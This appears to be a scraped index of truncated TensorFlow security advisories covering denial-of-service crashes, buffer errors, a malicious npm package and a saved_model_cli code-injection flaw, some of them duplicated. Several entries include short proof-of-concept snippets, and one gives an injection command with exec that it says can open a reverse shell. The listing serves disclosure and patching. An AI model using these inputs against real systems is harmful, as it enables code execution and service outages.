PT-2022-23090

Name of the Vulnerable Software and Affected Versions TensorFlow versions prior to 2.10.0 TensorFlow versions 2.9.1, 2.8.1, and 2.7.2 are also affected Description The issue occurs when TensorListFromTensor receives an element shape of a rank greater than one, resulting in a CHECK fail that can...

Google TensorFlow 输入验证错误漏洞

Google TensorFlow is a suite of end-to-end open source platforms for machine learning from Google Inc. in the United States. Google TensorFlow suffers from an input validation error vulnerability that stems from a segmentation error that can be used to trigger a denial-of-service attack if...

Google TensorFlow 安全漏洞

Google TensorFlow is a suite of end-to-end open source platforms for machine learning from Google, Inc. in the United States. A security vulnerability exists in Google TensorFlow, which stems from a denial-of-service attack triggered by an assertion failure given when tf.random.gamma receives a...

Google TensorFlow 安全漏洞

Google TensorFlow is a suite of end-to-end open source platforms for machine learning from Google, Inc. in the United States. A security vulnerability exists in Google TensorFlow, which stems from the UnbatchGradOp function accepting an argument id that is assumed to be scalar. A non-scalar id ca...

Google TensorFlow 缓冲区错误漏洞

Google TensorFlow is a suite of end-to-end open source platforms for machine learning from Google, Inc. in the United States. Google TensorFlow suffers from a buffer error vulnerability that stems from the GatherNd function accepting parameters that determine the size of inputs and outputs. If th...

PT-2022-23065

Name of the Vulnerable Software and Affected Versions TensorFlow versions prior to 2.10.0 TensorFlow versions 2.9.1, 2.8.1, and 2.7.2 Description The issue occurs when QuantizedAvgPool is given min input or max input tensors of a nonzero rank, resulting in a segfault that can be used to trigger a...

PT-2022-23079

Name of the Vulnerable Software and Affected Versions TensorFlow versions prior to 2.10.0 TensorFlow versions 2.9.1 and earlier TensorFlow versions 2.8.1 and earlier TensorFlow versions 2.7.2 and earlier Description The issue is related to the FractionalMaxPoolGrad function, which validates its...

Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in TensorFlow

Summary IBM Watson Discovery for IBM Cloud Pak for Data contains a vulnerable version of TensorFlow. Vulnerability Details CVEID: CVE-2022-29210 DESCRIPTION: TensorFlow is vulnerable to a denial of service, caused by a heap-based buffer overflow in the TensorKey hash function. A local authenticat...

MAL-2022-6458 Malicious code in tensorflow-js-website (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware dbe94795c766f0a4d3c94608924b1fd354b5ec753d4f31f7afc3b411173c00c7 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in tensorflow-js-website (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware dbe94795c766f0a4d3c94608924b1fd354b5ec753d4f31f7afc3b411173c00c7 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

OPENSUSE-SU-2022:10014-1 Security update for tensorflow2

This update for tensorflow fixes the following issues: Update to TF2 2.6.0 which fixes multiple CVEs boo1189423. - Introduction of bazel6.3 and basel-skylib1.0.3 as build dependencies. The latter has been adapted to all a version in its package name if %setversuffix is set to 1. This allows...

GHSA-MW6J-HH29-H379 `CHECK` failure in depthwise ops via overflows

Impact The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure assertion failure caused by overflowing the number of elements in a tensor: python import tensorflow as tf input = tf.constant1, shape=1, 4, 4, 3, dtype=tf.float32 filtersizes =...

`CHECK` failure in depthwise ops via overflows

Impact The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure assertion failure caused by overflowing the number of elements in a tensor: python import tensorflow as tf input = tf.constant1, shape=1, 4, 4, 3, dtype=tf.float32 filtersizes =...

Code injection in `saved_model_cli` in TensorFlow

Impact TensorFlow's savedmodelcli tool is vulnerable to a code injection: savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./ --tagset serve --signaturedef servingdefault This can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...

GHSA-75C9-JRH4-79MC Code injection in `saved_model_cli` in TensorFlow

Impact TensorFlow's savedmodelcli tool is vulnerable to a code injection: savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./ --tagset serve --signaturedef servingdefault This can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...

Incomplete validation in signal ops leads to crashes in TensorFlow

Impact The tf.compat.v1.signal.rfft2d and tf.compat.v1.signal.rfft3d lack input validation and under certain condition can result in crashes due to CHECK-failures. Patches We have patched the issue in GitHub commit 0a8a781e597b18ead006d19b7d23d0a369e9ad73 merging GitHub PR 55274. The fix will be...

GHSA-5889-7V45-Q28M Incomplete validation in signal ops leads to crashes in TensorFlow

Impact The tf.compat.v1.signal.rfft2d and tf.compat.v1.signal.rfft3d lack input validation and under certain condition can result in crashes due to CHECK-failures. Patches We have patched the issue in GitHub commit 0a8a781e597b18ead006d19b7d23d0a369e9ad73 merging GitHub PR 55274. The fix will be...

Core dump when loading TFLite models with quantization in TensorFlow

Impact Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling...

GHSA-8WWM-6264-X792 Core dump when loading TFLite models with quantization in TensorFlow

Impact Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling...

GHSA-XRP2-FHQ4-4Q3W Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlow

Impact The implementation of tf.histogramfixedwidth is vulnerable to a crash when the values array contain NaN elements: python import tensorflow as tf import numpy as np tf.histogramfixedwidthvalues=np.nan, valuerange=1,2 The implementation assumes that all floating point operations are defined...